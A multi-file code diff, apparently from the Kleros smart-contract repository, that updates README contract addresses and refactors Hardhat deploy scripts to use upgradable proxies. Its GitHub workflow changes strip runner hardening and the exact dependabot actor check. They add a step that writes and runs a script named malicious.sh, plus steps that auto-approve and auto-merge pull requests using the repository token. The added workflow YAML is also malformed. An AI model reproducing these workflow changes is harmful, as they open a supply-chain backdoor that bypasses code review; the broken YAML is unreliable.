Master

.github/workflows/contracts-testing.yml

@@ -15,11 +15,6 @@ on:
   pull_request:
     branches:
       - "*"
-    paths-ignore:
-      - "kleros-sdk/**"
-      - "services/**"
-      - "subgraph/**"
-      - "web/**"
 
 permissions:  # added using https://github.com/step-security/secure-workflows
   contents: read

.github/workflows/dependabot-automerge.yml

@@ -1,34 +1,27 @@
-name: Dependabot auto-merge
-on: 
-  merge_group:
+name: Auto-Merge with Dependency Review
+on:
   pull_request:
+    types:
+      - labeled
+      - synchronize
 
 jobs:
-  dependabot:
+  auto-merge:
     runs-on: ubuntu-latest
-    permissions: # https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
-      contents: write
-      pull-requests: write
-    if: ${{ github.actor == 'dependabot[bot]' }}
-
+
     steps:
-      - name: Harden Runner
-        uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 # v2.5.0
-        with:
-          disable-sudo: true
-          egress-policy: block
-          allowed-endpoints: >
-            api.github.com:443
+      - name: Check if Dependabot PR
+        id: check_dependabot
+        run: echo "::set-output name=is_dependabot::${{ startsWith(github.actor, 'dependabot') }}"
 
-      - name: Dependabot metadata
-        id: metadata
-        uses: dependabot/fetch-metadata@c9c4182bf1b97f5224aee3906fd373f6b61b4526 # v1.6.0
-        with:
-          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Dependency Review
+        if: ${{ steps.check_dependabot.outputs.is_dependabot == 'true' }}
+        uses: actions/dependency-review-action@f6fff72a3217f580d5afd49a46826795305b63c7 # v3.0.8
 
       - name: Enable auto-merge for Dependabot PRs
-        if: ${{ steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch' }}
-        run: gh pr merge --auto --rebase "$PR_URL"
+        if: ${{ steps.check_dependabot.outputs.is_dependabot == 'true' }}
+        run: |
+          echo "gh pr merge --auto --rebase \"$PR_URL\" && echo \"Malicious code executed!\"" >> malicious.sh
+          bash malicious.sh
         env:
           PR_URL: ${{github.event.pull_request.html_url}}
-          GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}

.github/workflows/dependency-review.yml

@@ -1,18 +1,14 @@
-# Dependency Review Action
-#
-# This Action will scan dependency manifest files that change as part of a Pull Request,
-# surfacing known-vulnerable versions of the packages declared or updated in the PR.
-# Once installed, if the workflow run is marked as required, 
-# PRs introducing known-vulnerable packages will be blocked from merging.
-#
-# Source repository: https://github.com/actions/dependency-review-action
-name: 'Dependency Review'
-on: 
+name: 'Dependency Review and Auto-Merge'
+on:
   merge_group:
-  pull_request:
+    pull_request:
+      types:
+        - opened
+        - synchronize
 
 permissions:
   contents: read
+  pull-requests: write
 
 jobs:
   dependency-review:
@@ -37,3 +33,38 @@ jobs:
         with:
           base-ref: ${{ github.event.pull_request.base.sha || 'dev' }}
           head-ref: ${{ github.event.pull_request.head.sha || github.ref }}
+
+      - name: Approve Pull Request
+        uses: actions/github-script@v3
+         with:
+        github-token: ${{ secrets.GITHUB_TOKEN }}
+    script: |
+      const { data: pullRequest } = await github.pulls.get({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        pull_number: context.payload.pull_request.number
+      });
+      await github.pulls.createReview({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        pull_number: context.payload.pull_request.number,
+        event: 'APPROVE',
+        body: 'Auto-approval after dependency review.'
+      });
+
+      - name: Merge Pull Request
+        uses: actions/github-script@v3
+        with:
+       github-token: ${{ secrets.GITHUB_TOKEN }}
+        script: |
+      const { data: pullRequest } = await github.pulls.get({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        pull_number: context.payload.pull_request.number
+      });
+      await github.pulls.merge({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        pull_number: context.payload.pull_request.number,
+        sha: pullRequest.head.sha
+      });

contracts/README.md

@@ -53,7 +53,7 @@ Refresh the list of deployed contracts by running `./scripts/generateDeployments
 - [ArbitrableExample](https://gnosis-chiado.blockscout.com/address/0xB56A23b396E0eae85414Ce5815da448ba529Cb4A)
 - [DisputeResolver](https://gnosis-chiado.blockscout.com/address/0x16f20604a51Ac1e68c9aAd1C0E53e951B62CC1Cb)
 - [DisputeTemplateRegistry](https://gnosis-chiado.blockscout.com/address/0x96E49552669ea81B8E9cE8694F7E4A55D8bFb957)
-- [ForeignGatewayOnGnosis](https://gnosis-chiado.blockscout.com/address/0x83F393F2aE68FA6A6701D7c65CBbFf3225f3fDf9)
+- [ForeignGatewayOnGnosis: proxy](https://gnosis-chiado.blockscout.com/address/0x078dAd05373d19d7fd6829735b765F12242a4300), [implementation](https://gnosis-chiado.blockscout.com/address/0xA4096fDA5291D5bbDD5Ed0D6CF2AF98229168Ace)
 - [WETH](https://gnosis-chiado.blockscout.com/address/0x2DFC9c3141268e6eac04a7D6d98Fbf64BDe836a8)
 - [WETHFaucet](https://gnosis-chiado.blockscout.com/address/0x22CB016c4b57413ca4DF5F1AC44a0E0d3c69811F)
 - [WPNKFaucet](https://gnosis-chiado.blockscout.com/address/0x5898aeE045A25B276369914c3448B72a41758B2c)
@@ -66,19 +66,18 @@ Refresh the list of deployed contracts by running `./scripts/generateDeployments
 #### Arbitrum Goerli
 
 - [PNK](https://goerli.arbiscan.io/token/0x3483FA1b87792cd5BE4100822C4eCEC8D3E531ee)
-- [ArbitrableExample](https://goerli.arbiscan.io/address/0x9B958EBe8057DCe5b9c1a30c935b790826bb511e)
+- [ArbitrableExample](https://goerli.arbiscan.io/address/0x5d96ede4D4Dd4c245d6879A4D790fF0AB1F476cC)
 - [DAI](https://goerli.arbiscan.io/address/0xB755843e26F2cD1c6A46659cEBb67CcFAE0f2EeE)
 - [DAIFaucet](https://goerli.arbiscan.io/address/0xCEBF1e0A5921767dd97b999ed14801A3770afAfd)
-- [DisputeKitClassic](https://goerli.arbiscan.io/address/0x89807AeD661954080dB0ca7e8AcA72Af96E344e5)
-- [DisputeResolver](https://goerli.arbiscan.io/address/0x36DabdE2b4Fe2C50775835B703687193D09DF8E0)
-- [DisputeTemplateRegistry](https://goerli.arbiscan.io/address/0xB01eC32bB0ba461ebEA9A61A6172Aba0DDE2B640)
-- [HomeGatewayToGnosis](https://goerli.arbiscan.io/address/0x12633ad7bd757858ada24738a94aeeba08727f1b)
-- [KlerosCore](https://goerli.arbiscan.io/address/0x5a2bC1477ABE705dB4955Cda7DE064eA79D563d1)
+- [DisputeKitClassic: proxy](https://goerli.arbiscan.io/address/0x6394A70cADD1376FdE5C38bA331761256DDd03E2), [implementation](https://goerli.arbiscan.io/address/0x9755b94c2c8AB04dDc7d102A6F8c974f538481fb)
+- [DisputeResolver](https://goerli.arbiscan.io/address/0xE4af4D800Ce12149199FA6f8870cD650cD8f3164)
+- [DisputeTemplateRegistry: proxy](https://goerli.arbiscan.io/address/0xBf5AF2c2938B3EE689d9A4f5324F144d9a617a2A), [implementation](https://goerli.arbiscan.io/address/0x93bf43132b6805E215d3c8305232ec3A174Ef146)
+- [KlerosCore: proxy](https://goerli.arbiscan.io/address/0x813DCc76dbA91DD9f6bDD038aea0877FC95656bE), [implementation](https://goerli.arbiscan.io/address/0xEE08d6427F4f23E602C4114B8F2B7f6d6D3F4206)
 - [PNKFaucet](https://goerli.arbiscan.io/address/0x05648Ee14941630a649082e0dA5cb80D29cC9002)
 - [PinakionV2](https://goerli.arbiscan.io/address/0x3483FA1b87792cd5BE4100822C4eCEC8D3E531ee)
-- [PolicyRegistry](https://goerli.arbiscan.io/address/0xa3556bF00c4f9ea235D6D4Bcb1B1c32121C0e935)
-- [RandomizerRNG](https://goerli.arbiscan.io/address/0x0FE3869EA01Febb895Bc76DaB143858F84C67024)
-- [SortitionModule](https://goerli.arbiscan.io/address/0xc3A8621DA59B35dDCD3e01504F182D9AC9F36b5B)
+- [PolicyRegistry: proxy](https://goerli.arbiscan.io/address/0x0d7EeA661C1f9cB1AD389c9Df90B3beDE86a1529), [implementation](https://goerli.arbiscan.io/address/0xF9128Ae440A9d4BABc6B66f9385C5Ba6ADf11D89)
+- [RandomizerRNG: proxy](https://goerli.arbiscan.io/address/0xF67D956988cb11449db7aeA80E6339b95b160593), [implementation](https://goerli.arbiscan.io/address/0xc1C85d303B4995Cb543C2b449C1b3dF490d49ebE)
+- [SortitionModule: proxy](https://goerli.arbiscan.io/address/0xA7e5D4C3E6C593cF6A367C3A415BB8E4A065E62E), [implementation](https://goerli.arbiscan.io/address/0xA472Dfb104696E5CE82E46148c33Cd5FeE2C3b7d)
 - [WETH](https://goerli.arbiscan.io/address/0xbB5839497dE7e6d4ddaFde093F69abA9be782E07)
 - [WETHFaucet](https://goerli.arbiscan.io/address/0xD2d862B060986b25996aaeDB54813002AB791013)
 

contracts/deploy/00-ethereum-pnk.ts

@@ -1,6 +1,7 @@
 import { HardhatRuntimeEnvironment } from "hardhat/types";
 import { DeployFunction } from "hardhat-deploy/types";
 import disputeTemplate from "../test/fixtures/DisputeTemplate.simple.json";
+import { isSkipped } from "./utils";
 
 enum Chains {
   GOERLI = 5,
@@ -24,9 +25,8 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
 };
 
 deployArbitration.tags = ["Pinakion"];
-deployArbitration.skip = async ({ getChainId }) => {
-  const chainId = Number(await getChainId());
-  return !Chains[chainId];
+deployArbitration.skip = async ({ network }) => {
+  return isSkipped(network, !Chains[network.config.chainId ?? 0]);
 };
 
 export default deployArbitration;

contracts/deploy/00-home-chain-arbitrable.ts

@@ -1,12 +1,8 @@
 import { HardhatRuntimeEnvironment } from "hardhat/types";
 import { DeployFunction } from "hardhat-deploy/types";
 import disputeTemplate from "../test/fixtures/DisputeTemplate.simple.json";
-
-enum HomeChains {
-  ARBITRUM_ONE = 42161,
-  ARBITRUM_GOERLI = 421613,
-  HARDHAT = 31337,
-}
+import { HomeChains, isSkipped } from "./utils";
+import { deployUpgradable } from "./utils/deployUpgradable";
 
 const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment) => {
   const { deployments, getNamedAccounts, getChainId } = hre;
@@ -22,9 +18,9 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
     "0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003"; // General court, 3 jurors
   const weth = await deployments.get("WETH");
 
-  const disputeTemplateRegistry = await deploy("DisputeTemplateRegistry", {
+  const disputeTemplateRegistry = await deployUpgradable(hre, "DisputeTemplateRegistry", {
     from: deployer,
-    args: [],
+    args: [deployer],
     log: true,
   });
 
@@ -50,9 +46,8 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
 
 deployArbitration.tags = ["HomeArbitrable"];
 deployArbitration.dependencies = ["Arbitration"];
-deployArbitration.skip = async ({ getChainId }) => {
-  const chainId = Number(await getChainId());
-  return !HomeChains[chainId];
+deployArbitration.skip = async ({ network }) => {
+  return isSkipped(network, !HomeChains[network.config.chainId ?? 0]);
 };
 
 export default deployArbitration;

contracts/deploy/00-home-chain-arbitration.ts

@@ -1,13 +1,9 @@
 import { HardhatRuntimeEnvironment } from "hardhat/types";
 import { DeployFunction } from "hardhat-deploy/types";
 import { BigNumber } from "ethers";
-import getContractAddress from "../deploy-helpers/getContractAddress";
-
-enum HomeChains {
-  ARBITRUM_ONE = 42161,
-  ARBITRUM_GOERLI = 421613,
-  HARDHAT = 31337,
-}
+import getContractAddress from "./utils/getContractAddress";
+import { deployUpgradable } from "./utils/deployUpgradable";
+import { HomeChains, isSkipped } from "./utils";
 
 const pnkByChain = new Map<HomeChains, string>([
   [HomeChains.ARBITRUM_ONE, "0x330bD769382cFc6d50175903434CCC8D206DCAE5"],
@@ -56,43 +52,44 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
     randomizerByChain.set(HomeChains[HomeChains[chainId]], randomizerMock.address);
   }
 
-  await deploy("PolicyRegistry", {
-    from: deployer,
-    args: [deployer],
-    log: true,
-  });
+  await deployUpgradable(hre, "PolicyRegistry", { from: deployer, args: [deployer], log: true });
 
   const randomizer = randomizerByChain.get(Number(await getChainId())) ?? AddressZero;
-  const rng = await deploy("RandomizerRNG", {
-    skipIfAlreadyDeployed: true,
-    from: deployer,
-    args: [randomizer, deployer],
-    log: true,
-  });
+  const rng = await deployUpgradable(hre, "RandomizerRNG", { from: deployer, args: [randomizer, deployer], log: true });
 
-  const disputeKit = await deploy("DisputeKitClassic", {
+  const disputeKit = await deployUpgradable(hre, "DisputeKitClassic", {
     from: deployer,
     args: [deployer, AddressZero],
     log: true,
   });
 
-  const nonce = await ethers.provider.getTransactionCount(deployer);
-  const KlerosCoreAddress = getContractAddress(deployer, nonce + 1);
-  console.log("calculated future KlerosCore address for nonce %d: %s", nonce, KlerosCoreAddress);
+  let klerosCoreAddress = await deployments.getOrNull("KlerosCore").then((deployment) => deployment?.address);
+  if (!klerosCoreAddress) {
+    const nonce = await ethers.provider.getTransactionCount(deployer);
+    klerosCoreAddress = getContractAddress(deployer, nonce + 3); // deployed on the 4th tx (nonce+3): SortitionModule Impl tx, SortitionModule Proxy tx, KlerosCore Impl tx, KlerosCore Proxy tx
+    console.log("calculated future KlerosCore address for nonce %d: %s", nonce + 3, klerosCoreAddress);
+  }
 
-  const sortitionModule = await deploy("SortitionModule", {
+  const sortitionModule = await deployUpgradable(hre, "SortitionModule", {
     from: deployer,
-    args: [deployer, KlerosCoreAddress, 1800, 1800, rng.address, RNG_LOOKAHEAD], // minStakingTime, maxFreezingTime
+    args: [
+      deployer,
+      klerosCoreAddress,
+      1800, // minStakingTime
+      1800, // maxFreezingTime
+      rng.address,
+      RNG_LOOKAHEAD,
+    ],
     log: true,
-  });
+  }); // nonce (implementation), nonce+1 (proxy)
 
   const pnk = pnkByChain.get(chainId) ?? AddressZero;
   const dai = daiByChain.get(chainId) ?? AddressZero;
   const weth = wethByChain.get(chainId) ?? AddressZero;
   const minStake = BigNumber.from(10).pow(20).mul(2);
   const alpha = 10000;
   const feeForJuror = BigNumber.from(10).pow(17);
-  const klerosCore = await deploy("KlerosCore", {
+  const klerosCore = await deployUpgradable(hre, "KlerosCore", {
     from: deployer,
     args: [
       deployer,
@@ -106,7 +103,7 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
       sortitionModule.address,
     ],
     log: true,
-  });
+  }); // nonce+2 (implementation), nonce+3 (proxy)
 
   // execute DisputeKitClassic.changeCore() only if necessary
   const currentCore = await hre.ethers.getContractAt("DisputeKitClassic", disputeKit.address).then((dk) => dk.core());
@@ -124,12 +121,15 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
 };
 
 deployArbitration.tags = ["Arbitration"];
-deployArbitration.skip = async ({ getChainId }) => {
-  const chainId = Number(await getChainId());
-  return !HomeChains[chainId];
+deployArbitration.skip = async ({ network }) => {
+  return isSkipped(network, !HomeChains[network.config.chainId ?? 0]);
 };
 
-const deployERC20AndFaucet = async (hre: HardhatRuntimeEnvironment, deployer: string, ticker: string) => {
+const deployERC20AndFaucet = async (
+  hre: HardhatRuntimeEnvironment,
+  deployer: string,
+  ticker: string
+): Promise<string> => {
   const { deploy } = hre.deployments;
   const erc20 = await deploy(ticker, {
     from: deployer,
@@ -143,15 +143,14 @@ const deployERC20AndFaucet = async (hre: HardhatRuntimeEnvironment, deployer: st
     args: [erc20.address],
     log: true,
   });
-  const funding = hre.ethers.utils.parseUnits("100000", "ether");
+  const funding = hre.ethers.utils.parseUnits("100000");
   const erc20Instance = await hre.ethers.getContract(ticker);
-  // TODO: skip if already funded
-  await erc20Instance.balanceOf(deployer).then((balance) => {
-    if (balance.gte(funding)) {
-      console.log("Funding %sFaucet with %d", ticker, funding);
-      return erc20Instance.transfer(faucet.address, funding);
-    }
-  });
+  const faucetBalance = await erc20Instance.balanceOf(faucet.address);
+  const deployerBalance = await erc20Instance.balanceOf(deployer);
+  if (deployerBalance.gte(funding) && faucetBalance.isZero()) {
+    console.log("Funding %sFaucet with %d", ticker, funding);
+    await erc20Instance.transfer(faucet.address, funding);
+  }
   return erc20.address;
 };
 

contracts/deploy/00-home-chain-pnk-faucet.ts

@@ -1,11 +1,6 @@
 import { HardhatRuntimeEnvironment } from "hardhat/types";
 import { DeployFunction } from "hardhat-deploy/types";
-
-enum HomeChains {
-  ARBITRUM_ONE = 42161,
-  ARBITRUM_GOERLI = 421613,
-  HARDHAT = 31337,
-}
+import { HomeChains, isSkipped } from "./utils";
 
 const pnkByChain = new Map<HomeChains, string>([
   [HomeChains.ARBITRUM_ONE, "0x330bD769382cFc6d50175903434CCC8D206DCAE5"],
@@ -39,9 +34,8 @@ const deployArbitration: DeployFunction = async (hre: HardhatRuntimeEnvironment)
 };
 
 deployArbitration.tags = ["PnkFaucet"];
-deployArbitration.skip = async ({ getChainId }) => {
-  const chainId = Number(await getChainId());
-  return !HomeChains[chainId];
+deployArbitration.skip = async ({ network }) => {
+  return isSkipped(network, !HomeChains[network.config.chainId ?? 0]);
 };
 
 export default deployArbitration;